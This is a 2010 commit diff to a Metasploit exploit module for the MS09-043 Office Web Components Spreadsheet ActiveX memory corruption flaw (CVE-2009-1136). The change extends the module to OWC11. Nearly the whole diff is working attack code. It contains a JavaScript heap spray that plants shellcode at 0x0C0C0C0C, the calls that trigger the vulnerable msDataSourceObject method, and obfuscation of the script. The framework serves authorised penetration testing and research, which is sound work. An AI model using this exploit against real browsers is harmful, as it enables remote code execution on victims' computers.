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add support for OWC11 (from DSR!)

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git-svn-id: file:///home/svn/framework3/trunk@9883 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-07-20 06:24:19 +00:00
parent 14263662e5
commit 786ccb3d5f
1 changed files with 45 additions and 36 deletions
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81
modules/exploits/windows/browser/ms09_043_owc_msdso.rb
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@ -21,19 +21,21 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',
'Description' => %q{
This module exploits a memory corruption vulnerability within the Office Web Component
Spreadsheet ActiveX control. This module was based on an exploit found in
the wild.
This module exploits a memory corruption vulnerability within versions 10 and 11 of
the Office Web Component Spreadsheet ActiveX control. This module was based on
an exploit found in the wild.
},
'License' => MSF_LICENSE,
'Author' => ['unknown','hdm'],
'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-1136' ],
[ 'OSVDB', '55806'],
[ 'OSVDB', '55806' ],
[ 'MSB', 'MS09-043' ],
[ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
[ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9163/' ],
# broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],
],
'DefaultOptions' =>
@ -49,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
],
'DisclosureDate' => 'Jul 13 2009',
'DefaultTarget' => 0))
@ -74,48 +76,55 @@ class Metasploit3 < Msf::Exploit::Remote
retaddr = Rex::Text.to_unescape([target.ret].pack('V'))
js = %Q|
var xshellcode = unescape("#{shellcode}");
var xshellcode = unescape("#{shellcode}");
var xarray = new Array();
var xls = 0x81000-(xshellcode.length*2);
var xbigblock = unescape("#{retaddr}");
var xarray = new Array();
var xls = 0x81000-(xshellcode.length*2);
var xbigblock = unescape("#{retaddr}");
while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
var xlh = xbigblock.substring(0, xls / 2);
delete xbigblock;
while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
var xlh = xbigblock.substring(0, xls / 2);
delete xbigblock;
for(xi=0; xi<0x99*2; xi++) {
xarray[xi] = xlh + xlh + xshellcode;
}
for(xi=0; xi<0x99*2; xi++) {
xarray[xi] = xlh + xlh + xshellcode;
}
CollectGarbage();
CollectGarbage();
var xobj;
try {
xobj = new ActiveXObject("OWC10.Spreadsheet");
} catch(err) {
try {
xobj = new ActiveXObject("OWC11.Spreadsheet");
} catch(err) {
}
}
var xobj = new ActiveXObject("OWC10.Spreadsheet");
xe = new Array();
xe.push(1);
xe.push(2);
xe.push(0);
xe.push(window);
xe = new Array();
xe.push(1);
xe.push(2);
xe.push(0);
xe.push(window);
for(xi=0; xi < xe.length; xi++){
for(xj=0; xj<10; xj++){
try { xobj.Evaluate(xe[xi]); } catch(e) { }
}
}
for(xi=0; xi < xe.length; xi++){
for(xj=0; xj<10; xj++){
try { xobj.Evaluate(xe[xi]); } catch(e) { }
}
}
window.status = xe[3] + '';
window.status = xe[3] + '';
for(xj=0; xj<10; xj++){
try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
}
|
for(xj=0; xj<10; xj++){
try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
}
|
# Obfuscate it up a bit
js = obfuscate_js(js,
'Symbols' => {
'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj}
'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
}
).to_s